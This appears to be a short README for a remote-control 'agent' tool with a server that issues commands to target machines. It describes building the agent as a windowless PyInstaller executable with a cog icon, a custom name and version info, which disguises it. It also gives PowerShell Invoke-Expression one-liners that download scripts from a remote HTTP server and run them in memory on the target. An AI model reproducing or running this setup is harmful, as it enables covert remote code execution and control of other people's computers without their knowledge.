You should include 3 JSON files in /server directory: agents.json, commands_output.json, commands.json
pyinstaller --onefile --noconsole --icon=cog.ico agent.py
pyinstaller --onefile --noconsole --icon=cog.ico --name=ExeName agent.py
pyinstaller --onefile --noconsole --icon=cog.ico --name=ExeName --version-file=version.txt agent.py
To run custom powershell scripts on target machine (Agent), you can execute this command:
Invoke-Expression ( [System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri "http://192.168.30.21:5000/static/scripts/script.ps1").Content) )
Change wallpaper to cat image:
Invoke-Expression ( [System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri "http://192.168.30.21:5000/static/scripts/wallpaper.ps1").Content) )